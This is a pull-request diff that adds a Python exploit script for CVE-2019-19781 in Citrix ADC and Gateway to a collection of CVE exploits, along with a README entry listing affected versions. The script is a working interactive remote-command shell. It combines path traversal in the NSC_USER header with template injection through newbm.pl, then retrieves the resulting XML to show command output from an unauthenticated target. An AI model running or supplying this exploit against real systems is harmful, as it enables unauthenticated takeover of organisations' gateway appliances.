Merge pull request #150 from austinsonger/master

Added CVE

CVE Exploits/Citrix CVE-2019-19781.py

@@ -0,0 +1,51 @@
+#!/usr/bin/env python
+# https://github.com/mpgn/CVE-2019-19781
+# # #
+
+import requests
+import string
+import random
+import re
+import sys
+from requests.packages.urllib3.exceptions import InsecureRequestWarning
+requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
+
+print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway")
+print("Found by Mikhail Klyuchnikov")
+print("")
+
+if len(sys.argv) < 2:
+  print("[-] No URL provided")
+  sys.exit(0)
+
+while True:
+    try:
+      command = input("command > ")
+
+      random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))
+      print("[+] Adding bookmark", random_xml + ".xml")
+
+      burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl"
+      burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
+                      random_xml, "NSC_NONCE": "c", "Connection": "close"}
+      burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"}
+      r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False)
+
+      if r.status_code == 200:
+        print("[+] Bookmark added")
+      else:
+        print("\n[-] Target not vulnerable or something went wrong")
+        sys.exit(0)
+
+      burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml"
+      burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
+                       random_xml, "NSC_NONCE": "c", "Connection": "close"}
+      r = requests.get(burp0_url, headers=burp0_headers,verify=False)
+
+      replaced = re.sub('^&#.*&#10;$', '', r.text, flags=re.MULTILINE)
+      print("[+] Result of the command: \n")
+      print(replaced)
+
+    except KeyboardInterrupt:
+            print("Exiting...")
+            break

CVE Exploits/README.md

@@ -23,6 +23,20 @@ On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2
 
 A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being completely compromised.
 
+## CVE-2019-19781 -  Citrix ADC Netscaler
+
+A remote code execution vulnerability in Citrix Application Delivery Controller (ADC) formerly known as NetScaler ADC and Citrix Gateway formerly known as NetScaler Gateway that, if exploited, could allow an unauthenticated attacker to perform arbitrary code execution.
+
+Technology Affect:
+- Citrix ADC and Citrix Gateway version 13.0 all supported builds
+- Citrix ADC and NetScaler Gateway version 12.1 all supported builds
+- Citrix ADC and NetScaler Gateway version 12.0 all supported builds
+- Citrix ADC and NetScaler Gateway version 11.1 all supported builds
+- Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds
+
+
+
+
 ## Thanks to
 
 * [Heartbleed - Official website](http://heartbleed.com)